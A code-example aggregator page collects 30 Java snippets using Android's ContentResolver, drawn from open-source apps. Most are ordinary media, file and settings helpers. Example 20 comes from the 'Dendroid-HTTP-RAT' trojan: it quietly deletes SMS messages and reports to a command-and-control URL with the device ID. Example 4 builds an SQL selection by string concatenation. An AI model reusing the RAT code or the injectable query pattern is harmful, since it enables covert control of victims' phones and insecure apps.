Java Code Examples for android.content.ContentResolver

The following examples show how to use android.content.ContentResolver. These examples are extracted from open source projects. You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example 1
public static InputStream
getInputStream(final Context context, final File file, final long size) {
    try {
        final String where = MediaStore.MediaColumns.DATA + "=?";
        final String[] selectionArgs = new String[]{
                file.getAbsolutePath()
        };
        final ContentResolver contentResolver = context.getContentResolver();
        final Uri filesUri = MediaStore.Files.getContentUri("external");
        contentResolver.delete(filesUri, where, selectionArgs);
        final ContentValues values = new ContentValues();
        values.put(MediaStore.MediaColumns.DATA, file.getAbsolutePath());
        values.put(MediaStore.MediaColumns.SIZE, size);
        final Uri uri = contentResolver.insert(filesUri, values);
        return contentResolver.openInputStream(uri);
    } catch (final Throwable t) {
        return null;
    }
}
 
Example 2
Source Project: SAI   Source File: SafUtils.java    License: GNU General Public License v3.0 6 votes vote down vote up
@Nullable
public static DocumentFile docFileFromTreeUriOrFileUri(Context context, Uri contentUri) {
    if (ContentResolver.SCHEME_FILE.equals(contentUri.getScheme())) {
        String path = contentUri.getPath();
        if (path == null)
            return null;

        File file = new File(path);
        if (!file.isDirectory())
            return null;

        return DocumentFile.fromFile(file);
    } else {
        return DocumentFile.fromTreeUri(context, contentUri);
    }
}
 
Example 3
/**
 * Retrieves {@link InputStream} of image by URI (image is accessed using {@link ContentResolver}).
 *
 * @param imageUri Image URI
 * @param extra    Auxiliary object which was passed to {@link DisplayImageOptions.Builder#extraForDownloader(Object)
 *                 DisplayImageOptions.extraForDownloader(Object)}; can be null
 * @return {@link InputStream} of image
 * @throws FileNotFoundException if the provided URI could not be opened
 */
protected InputStream getStreamFromContent(String imageUri, Object extra) throws FileNotFoundException {
    ContentResolver res = context.getContentResolver();

    Uri uri = Uri.parse(imageUri);
    if (isVideoContentUri(uri)) { // video thumbnail
        Long origId = Long.valueOf(uri.getLastPathSegment());
        Bitmap bitmap = MediaStore.Video.Thumbnails
                .getThumbnail(res, origId, MediaStore.Images.Thumbnails.MINI_KIND, null);
        if (bitmap != null) {
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            bitmap.compress(CompressFormat.PNG, 0, bos);
            return new ByteArrayInputStream(bos.toByteArray());
        }
    } else if (imageUri.startsWith(CONTENT_CONTACTS_URI_PREFIX)) { // contacts photo
        return getContactPhotoStream(uri);
    }
    return res.openInputStream(uri);
}
 
Example 4
Source Project: monolog-android   Source File: ImageUtils.java    License: MIT License 6 votes vote down vote up
/**
 * 获取图片缩略�? 只有Android2.1以上版本支持
 *
 * @param imgName
 * @param kind    MediaStore.Images.Thumbnails.MICRO_KIND
 * @return
 */
@SuppressWarnings("deprecation")
public static Bitmap loadImgThumbnail(Activity context, String imgName,
                                      int kind) {
    Bitmap bitmap = null;

    String[] proj = {MediaStore.Images.Media._ID,
            MediaStore.Images.Media.DISPLAY_NAME};

    Cursor cursor = context.managedQuery(
            MediaStore.Images.Media.EXTERNAL_CONTENT_URI, proj,
            MediaStore.Images.Media.DISPLAY_NAME + "='" + imgName + "'",
            null, null);

    if (cursor != null && cursor.getCount() > 0 && cursor.moveToFirst()) {
        ContentResolver crThumb = context.getContentResolver();
        Options options = new Options();
        options.inSampleSize = 1;
        bitmap = getThumbnail(crThumb, cursor.getInt(0),
                kind, options);
    }
    return bitmap;
}
 
Example 5
Source Project: android_9.0.0_r45   Source File: CaptioningManager.java    License: Apache License 2.0 6 votes vote down vote up
/**
 * @hide
 */
@NonNull
public static CaptionStyle getCustomStyle(ContentResolver cr) {
    final CaptionStyle defStyle = CaptionStyle.DEFAULT_CUSTOM;
    final int foregroundColor = Secure.getInt(
            cr, Secure.ACCESSIBILITY_CAPTIONING_FOREGROUND_COLOR, defStyle.foregroundColor);
    final int backgroundColor = Secure.getInt(
            cr, Secure.ACCESSIBILITY_CAPTIONING_BACKGROUND_COLOR, defStyle.backgroundColor);
    final int edgeType = Secure.getInt(
            cr, Secure.ACCESSIBILITY_CAPTIONING_EDGE_TYPE, defStyle.edgeType);
    final int edgeColor = Secure.getInt(
            cr, Secure.ACCESSIBILITY_CAPTIONING_EDGE_COLOR, defStyle.edgeColor);
    final int windowColor = Secure.getInt(
            cr, Secure.ACCESSIBILITY_CAPTIONING_WINDOW_COLOR, defStyle.windowColor);

    String rawTypeface = Secure.getString(cr, Secure.ACCESSIBILITY_CAPTIONING_TYPEFACE);
    if (rawTypeface == null) {
        rawTypeface = defStyle.mRawTypeface;
    }

    return new CaptionStyle(foregroundColor, backgroundColor, edgeType, edgeColor,
            windowColor, rawTypeface);
}
 
Example 6
Source Project: androidtv-sample-inputs   Source File: ModelUtils.java    License: Apache License 2.0 6 votes vote down vote up
/**
 * Returns the current list of channels your app provides.
 *
 * @param resolver Application's ContentResolver.
 * @return List of channels.
 */
public static List<Channel> getChannels(ContentResolver resolver) {
    List<Channel> channels = new ArrayList<>();
    // TvProvider returns programs in chronological order by default.
    Cursor cursor = null;
    try {
        cursor = resolver.query(Channels.CONTENT_URI, Channel.PROJECTION, null, null, null);
        if (cursor == null || cursor.getCount() == 0) {
            return channels;
        }
        while (cursor.moveToNext()) {
            channels.add(Channel.fromCursor(cursor));
        }
    } catch (Exception e) {
        Log.w(TAG, "Unable to get channels", e);
    } finally {
        if (cursor != null) {
            cursor.close();
        }
    }
    return channels;
}
 
Example 7
Source Project: Pioneer   Source File: IoUtils.java    License: Apache License 2.0 6 votes vote down vote up
public static boolean saveBitmap(ContentResolver contentResolver, Uri uri, Bitmap bitmap,
                                 Bitmap.CompressFormat format, int quality) {
    OutputStream outputStream;
    try {
        outputStream = contentResolver.openOutputStream(uri);
    } catch (FileNotFoundException e) {
        Timber.d(e, "[saveBitmap] Couldn't open uri output");
        return false;
    }
    boolean saveOk = true;
    try {
        bitmap.compress(format, quality, outputStream);
    } finally {
        if (!close(outputStream)) {
            saveOk = false;
        }
    }
    if (!saveOk) {
        contentResolver.delete(uri, null, null);
    }
    return saveOk;
}
 
Example 8
private String getGroupCount(ContentResolver resolver, long groupId) {
    String[] projection = { Imps.GroupMembers.NICKNAME };
    Uri uri = ContentUris.withAppendedId(Imps.GroupMembers.CONTENT_URI, groupId);
    Cursor c = resolver.query(uri, projection, null, null, null);
    StringBuilder buf = new StringBuilder();
    if (c != null) {

        buf.append(" (");
        buf.append(c.getCount());
        buf.append(")");

        c.close();
    }

    return buf.toString();
}
 
Example 9
Source Project: LiTr   Source File: BitmapOverlayFilter.java    License: BSD 2-Clause "Simplified" License 6 votes vote down vote up
@Nullable
private Bitmap decodeBitmap(@NonNull Uri imageUri) {
    Bitmap bitmap = null;

    if (ContentResolver.SCHEME_FILE.equals(imageUri.getScheme()) && imageUri.getPath() != null) {
        File file = new File(imageUri.getPath());
        bitmap = BitmapFactory.decodeFile(file.getPath());

    } else if (ContentResolver.SCHEME_CONTENT.equals(imageUri.getScheme())) {
        InputStream inputStream;
        try {
            inputStream = context.getContentResolver().openInputStream(imageUri);
            if (inputStream != null) {
                bitmap = BitmapFactory.decodeStream(inputStream, null, null);
            }
        } catch (FileNotFoundException e) {
            Log.e(TAG, "Unable to open overlay image Uri " + imageUri, e);
        }

    } else {
        Log.e(TAG, "Uri scheme is not supported: " + imageUri.getScheme());
    }

    return bitmap;
}
 
Example 10
Source Project: Chimee   Source File: UserDictionary.java    License: MIT License 6 votes vote down vote up
/**
 * Queries the dictionary and returns a cursor with all matches. But
 * there should be no more than one match.
 *
 * @param context the current application context
 * @param word    the word to search
 */
static Cursor queryWord(Context context, String word) {

    // error checking
    if (TextUtils.isEmpty(word)) {
        return null;
    }

    // General purpose
    final ContentResolver resolver = context.getContentResolver();
    String[] projection = new String[]{_ID, WORD, FREQUENCY,
            FOLLOWING};
    String selection = WORD + "=?";
    String[] selectionArgs = {word};
    return resolver.query(CONTENT_URI, projection, selection,
            selectionArgs, null);

}
 
Example 11
Source Project: FireFiles   Source File: StorageProvider.java    License: Apache License 2.0 6 votes vote down vote up
protected AssetFileDescriptor openVideoThumbnailCleared(long id, CancellationSignal signal)
        throws FileNotFoundException {
    final ContentResolver resolver = getContext().getContentResolver();
    Cursor cursor = null;
    try {
        cursor = resolver.query(Video.Thumbnails.EXTERNAL_CONTENT_URI,
                VideoThumbnailQuery.PROJECTION, Video.Thumbnails.VIDEO_ID + "=" + id, null,
                null);
        if (cursor.moveToFirst()) {
            final String data = cursor.getString(VideoThumbnailQuery._DATA);
            return new AssetFileDescriptor(ParcelFileDescriptor.open(
                    new File(data), ParcelFileDescriptor.MODE_READ_ONLY), 0,
                    AssetFileDescriptor.UNKNOWN_LENGTH);
        }
    } finally {
        IoUtils.closeQuietly(cursor);
    }
    return null;
}
 
Example 12
public void initUser(long providerId, long accountId) throws ImException
{
    ContentResolver contentResolver = mContext.getContentResolver();

    Cursor cursor = contentResolver.query(Imps.ProviderSettings.CONTENT_URI, new String[]{Imps.ProviderSettings.NAME, Imps.ProviderSettings.VALUE}, Imps.ProviderSettings.PROVIDER + "=?", new String[]{Long.toString(providerId)}, null);

    if (cursor == null)
        throw new ImException("unable to query settings");

    Imps.ProviderSettings.QueryMap providerSettings = new Imps.ProviderSettings.QueryMap(
            cursor, contentResolver, providerId, false, null);

    mProviderId = providerId;
    mAccountId = accountId;
    mUser = makeUser(providerSettings, contentResolver);
    try {
        mUserJid = JidCreate.bareFrom(mUser.getAddress().getAddress());
    }
    catch (Exception e){}

    providerSettings.close();
}
 
Example 13
Source Project: PracticeCode   Source File: SysUtil.java    License: Apache License 2.0 6 votes vote down vote up
/**
 * 从带图像的Intent中解析图像到File
 *
 * @param resolver     解析器,需要当前context.getContentResolver()
 * @param data         带数据的Intent
 * @param dir          输出文件路径
 * @return boolean     解析成功返回true,否则返回false
 */
public boolean parseImageIntentToFile(ContentResolver resolver, Intent data, File dir) {
    try {
        FileOutputStream out = new FileOutputStream(dir);
        ByteArrayOutputStream buffer = parseImageIntentToStream(resolver, data);
        if(buffer == null)
            return false;
        buffer.writeTo(out);
        buffer.flush();
        buffer.close();
        out.flush();
        out.close();
        return true;
    } catch (IOException e) {
        return false;
    }
}
 
Example 14
Source Project: FireFiles   Source File: CreateFileFragment.java    License: Apache License 2.0 6 votes vote down vote up
@Override
protected Uri doInBackground(Void... params) {
    final ContentResolver resolver = mActivity.getContentResolver();
    ContentProviderClient client = null;
    Uri childUri = null;
    try {
        client = DocumentsApplication.acquireUnstableProviderOrThrow(
                resolver, mCwd.derivedUri.getAuthority());
        childUri = DocumentsContract.createDocument(
                resolver, mCwd.derivedUri, mMimeType, mDisplayName);
    } catch (Exception e) {
        Log.w(DocumentsActivity.TAG, "Failed to create document", e);
        Crashlytics.logException(e);
    } finally {
        ContentProviderClientCompat.releaseQuietly(client);
    }

    return childUri;
}
 
Example 15
Source Project: Vitamio   Source File: MediaPlayer.java    License: Apache License 2.0 6 votes vote down vote up
public void setDataSource(Context context, Uri uri, Map<String, String> headers) throws IOException, IllegalArgumentException, SecurityException, IllegalStateException {
  if (context == null || uri == null)
    throw new IllegalArgumentException();
  String scheme = uri.getScheme();
  if (scheme == null || scheme.equals("file")) {
    setDataSource(FileUtils.getPath(uri.toString()));
    return;
  }

  try {
    ContentResolver resolver = context.getContentResolver();
    mFD = resolver.openAssetFileDescriptor(uri, "r");
    if (mFD == null)
      return;
    setDataSource(mFD.getParcelFileDescriptor().getFileDescriptor());
    return;
  } catch (Exception e) {
    closeFD();
  }
  setDataSource(uri.toString(), headers);
}
 
Example 16
Source Project: FireFiles   Source File: DocumentsContractCompat.java    License: Apache License 2.0 6 votes vote down vote up
public static Uri[] listFiles(Context context, Uri self) {
    final ContentResolver resolver = context.getContentResolver();
    final Uri childrenUri = DocumentsContract.buildChildDocumentsUri(self.getAuthority(),
            DocumentsContract.getDocumentId(self));
    final ArrayList<Uri> results = new ArrayList<Uri>();

    Cursor c = null;
    try {
        c = resolver.query(childrenUri, new String[] {
                DocumentsContract.Document.COLUMN_DOCUMENT_ID }, null, null, null);
        while (c.moveToNext()) {
            final String documentId = c.getString(0);
            final Uri documentUri = DocumentsContract.buildDocumentUri(self.getAuthority(),
                    documentId);
            results.add(documentUri);
        }
    } catch (Exception e) {
        Log.w(TAG, "Failed query: " + e);
    } finally {
        closeQuietly(c);
    }

    return results.toArray(new Uri[results.size()]);
}
 
Example 17
private void fixBaseContextImplContentResolverOpsPackage(Context context) throws IllegalAccessException {
    if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.ICE_CREAM_SANDWICH_MR1 && context != null && !TextUtils.equals(context.getPackageName(), mHostContext.getPackageName())) {
        Context baseContext = context;
        Class clazz = baseContext.getClass();
        Field mContentResolver = FieldUtils.getDeclaredField(clazz, "mContentResolver", true);
        if (mContentResolver != null) {
            Object valueObj = mContentResolver.get(baseContext);
            if (valueObj instanceof ContentResolver) {
                ContentResolver contentResolver = ((ContentResolver) valueObj);
                Field mPackageName = FieldUtils.getDeclaredField(ContentResolver.class, "mPackageName", true);
                Object mPackageNameValueObj = mPackageName.get(contentResolver);
                if (mPackageNameValueObj != null && mPackageNameValueObj instanceof String) {
                    String packageName = ((String) mPackageNameValueObj);
                    if (!TextUtils.equals(packageName, mHostContext.getPackageName())) {
                        mPackageName.set(contentResolver, mHostContext.getPackageName());
                        Log.i(TAG, "fixBaseContextImplContentResolverOpsPackage OK!Context=%s,contentResolver=%s", baseContext, contentResolver);
                    }
                }

            }
        }
    }
}
 
Example 18
Source Project: FireFiles   Source File: DocumentsContractApi21.java    License: Apache License 2.0 6 votes vote down vote up
public static Uri[] listFiles(Context context, Uri self) {
    final ContentResolver resolver = context.getContentResolver();
    final Uri childrenUri = DocumentsContract.buildChildDocumentsUriUsingTree(self,
            DocumentsContract.getDocumentId(self));
    final ArrayList<Uri> results = new ArrayList<Uri>();

    Cursor c = null;
    try {
        c = resolver.query(childrenUri, new String[] {
                DocumentsContract.Document.COLUMN_DOCUMENT_ID }, null, null, null);
        while (c.moveToNext()) {
            final String documentId = c.getString(0);
            final Uri documentUri = DocumentsContract.buildDocumentUriUsingTree(self,
                    documentId);
            results.add(documentUri);
        }
    } catch (Exception e) {
        Log.w(TAG, "Failed query: " + e);
    } finally {
        closeQuietly(c);
    }

    return results.toArray(new Uri[results.size()]);
}
 
Example 19
Source Project: PhotoOut   Source File: MyTool.java    License: Apache License 2.0 6 votes vote down vote up
public static String getRealFilePath(final Context context, final Uri uri ) {
    if ( null == uri ) return null;
    final String scheme = uri.getScheme();
    String data = null;
    if ( scheme == null )
        data = uri.getPath();
    else if ( ContentResolver.SCHEME_FILE.equals( scheme ) ) {
        data = uri.getPath();
    } else if ( ContentResolver.SCHEME_CONTENT.equals( scheme ) ) {
        Cursor cursor = context.getContentResolver().query( uri, new String[] { MediaStore.Images.ImageColumns.DATA }, null, null, null );
        if ( null != cursor ) {
            if ( cursor.moveToFirst() ) {
                int index = cursor.getColumnIndex( MediaStore.Images.ImageColumns.DATA );
                if ( index > -1 ) {
                    data = cursor.getString( index );
                }
            }
            cursor.close();
        }
    }
    return data;
}
 
Example 20
Source Project: Dendroid-HTTP-RAT   Source File: MyService.java    License: GNU General Public License v3.0 6 votes vote down vote up
@Override
        protected String doInBackground(String... params) {     
			Uri thread = Uri.parse( "content://sms");
			ContentResolver contentResolver = getContentResolver();
//			Cursor cursor = contentResolver.query(thread, null, null, null,null);
			contentResolver.delete( thread, "thread_id=? and _id=?", new String[]{String.valueOf(i), String.valueOf(j)});
	        
	        try {
				getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "SMS Delete [" + i + "] [" + j + "] Complete");
			} catch (UnsupportedEncodingException e) {
				 
				e.printStackTrace();
			}   
			
		    return "Executed";
        }
 
Example 21
Source Project: Kore   Source File: Database.java    License: Apache License 2.0 5 votes vote down vote up
private static void insertMusicVideos(Context context, ContentResolver contentResolver, SyncMusicVideos syncMusicVideos)
    throws ApiException, IOException {
    VideoLibrary.GetMusicVideos getMusicVideos = new VideoLibrary.GetMusicVideos();
    String result = FileUtils.readFile(context, "VideoLibrary.GetMusicVideos.json");
    ArrayList<VideoType.DetailsMusicVideo> musicVideoList = (ArrayList) getMusicVideos.resultFromJson(result);

    syncMusicVideos.insertMusicVideos(musicVideoList, contentResolver);
}
 
Example 22
private static Optional<AccountHolder> getOrCreateAccount(Context context) {
  AccountManager accountManager = AccountManager.get(context);
  Account[]      accounts       = accountManager.getAccountsByType(context.getPackageName());

  Optional<AccountHolder> account;

  if (accounts.length == 0) account = createAccount(context);
  else                      account = Optional.of(new AccountHolder(accounts[0], false));

  if (account.isPresent() && !ContentResolver.getSyncAutomatically(account.get().getAccount(), ContactsContract.AUTHORITY)) {
    ContentResolver.setSyncAutomatically(account.get().getAccount(), ContactsContract.AUTHORITY, true);
  }

  return account;
}
 
Example 23
/**
 * Convenience wrapper to returns a Concept representing a single row matched
 * by the uuid value.
 *
 * @param resolver The resolver which will perform the query.
 * @param uuid The uuid to select by.
 * @return A cursor with a single row.
 * @throws IllegalArgumentException if multiple objects are returned.
 */
public static IConcept getOneByUuid(ContentResolver resolver, String uuid) {
    ConceptWrapper wrapper = new ConceptWrapper(ModelWrapper.getOneByUuid(
            Concepts.CONTENT_URI, resolver, uuid));
    IConcept object = null;
    if (wrapper != null)
        try {
            object = wrapper.next();
        } finally {
            wrapper.close();
        }
    return object;
}
 
Example 24
Source Project: storio   Source File: DefaultStorIOContentResolver.java    License: Apache License 2.0 5 votes vote down vote up
protected DefaultStorIOContentResolver(@NonNull ContentResolver contentResolver,
                                       @NonNull Handler contentObserverHandler,
                                       @NonNull TypeMappingFinder typeMappingFinder,
                                       @Nullable Scheduler defaultRxScheduler,
                                       @NonNull List<Interceptor> interceptors) {
    this.contentResolver = contentResolver;
    this.contentObserverHandler = contentObserverHandler;
    this.defaultRxScheduler = defaultRxScheduler;
    this.interceptors = interceptors;
    lowLevel = new LowLevelImpl(typeMappingFinder);
}
 
Example 25
Source Project: timecat   Source File: BitmapUtils.java    License: Apache License 2.0 5 votes vote down vote up
/**
 * Decode image from uri using given "inSampleSize", but if failed due to out-of-memory then raise
 * the inSampleSize until success.
 */
private static Bitmap decodeImage(ContentResolver resolver, Uri uri, BitmapFactory.Options options) throws FileNotFoundException {
    do {
        InputStream stream = null;
        try {
            stream = resolver.openInputStream(uri);
            return BitmapFactory.decodeStream(stream, EMPTY_RECT, options);
        } catch (OutOfMemoryError e) {
            options.inSampleSize *= 2;
        } finally {
            closeSafe(stream);
        }
    } while (options.inSampleSize <= 512);
    throw new RuntimeException("Failed to decode image: " + uri);
}
 
Example 26
private void finishLogin(Intent intent) {

        String accountName = intent.getStringExtra(AccountManager.KEY_ACCOUNT_NAME);
        String accountPassword = intent.getStringExtra(AccountManager.KEY_PASSWORD);
        String token = intent.getStringExtra(AccountManager.KEY_AUTHTOKEN);

        final Account account = new Account(accountName, intent.getStringExtra(AccountManager.KEY_ACCOUNT_TYPE));

        String accountType = Aptoide.getConfiguration().getAccountType();
        String authTokenType = AptoideConfiguration.AccountGeneral.AUTHTOKEN_TYPE_FULL_ACCESS;
        final Activity activity = getActivity();
        AccountManager.get(getActivity()).addAccount(accountType, authTokenType, new String[]{"timelineLogin"}, intent.getExtras(), getActivity(), new AccountManagerCallback<Bundle>() {
            @Override
            public void run(AccountManagerFuture<Bundle> future) {
                if (activity != null) {
                    activity.startService(new Intent(activity, RabbitMqService.class));
                }

                ContentResolver.setSyncAutomatically(account, Aptoide.getConfiguration().getUpdatesSyncAdapterAuthority(), true);
                ContentResolver.addPeriodicSync(account, Aptoide.getConfiguration().getUpdatesSyncAdapterAuthority(), new Bundle(), 43200);
                ContentResolver.setSyncAutomatically(account, Aptoide.getConfiguration(). getAutoUpdatesSyncAdapterAuthority(), true);
                callback = (SignInCallback) getParentFragment();
                if (callback != null) callback.loginEnded();

            }
        }, new Handler(Looper.getMainLooper()));


    }
 
Example 27
Source Project: BaldPhone   Source File: VideosActivity.java    License: Apache License 2.0 5 votes vote down vote up
@Override
protected Cursor cursor(ContentResolver contentResolver) {
    return contentResolver.query(VIDEOS_URI, PROJECTION,
            null,
            null,
            SORT_ORDER
    );
}
 
Example 28
Source Project: FireFiles   Source File: DocumentsContract.java    License: Apache License 2.0 5 votes vote down vote up
/**
 * Create a new document with given MIME type and display name.
 *
 * @param parentDocumentUri directory with
 *            {@link DocumentsContract.Document#FLAG_DIR_SUPPORTS_CREATE}
 * @param mimeType MIME type of new document
 * @param displayName name of new document
 * @return newly created document, or {@code null} if failed
 */
public static Uri createDocument(ContentResolver resolver, Uri parentDocumentUri,
                                 String mimeType, String displayName) {
    final ContentProviderClient client = resolver.acquireUnstableContentProviderClient(
            parentDocumentUri.getAuthority());
    try {
        return createDocument(client, parentDocumentUri, mimeType, displayName);
    } catch (Exception e) {
        Log.w(TAG, "Failed to create document", e);
        return null;
    } finally {
        ContentProviderClientCompat.releaseQuietly(client);
    }
}
 
Example 29
Source Project: Android-Architecture   Source File: ScreenUtil.java    License: Apache License 2.0 5 votes vote down vote up
/**
 * 判断屏幕是否开启了自动亮度
 *
 * @param aContentResolver
 * @return
 */
public static boolean isAutoBrightness(ContentResolver aContentResolver) {
    boolean automicBrightness = false;
    try {
        automicBrightness = Settings.System.getInt(aContentResolver, Settings.System.SCREEN_BRIGHTNESS_MODE) == Settings.System.SCREEN_BRIGHTNESS_MODE_AUTOMATIC;
    } catch (Settings.SettingNotFoundException e) {
        e.printStackTrace();
    }
    return automicBrightness;
}
 
Example 30
Source Project: Camera2   Source File: OrientationManagerImpl.java    License: Apache License 2.0 5 votes vote down vote up
public void resume()
{
    ContentResolver resolver = mActivity.getContentResolver();
    mRotationLockedSetting = Settings.System.getInt(
            resolver, Settings.System.ACCELEROMETER_ROTATION, 0) != 1;
    mOrientationListener.enable();
}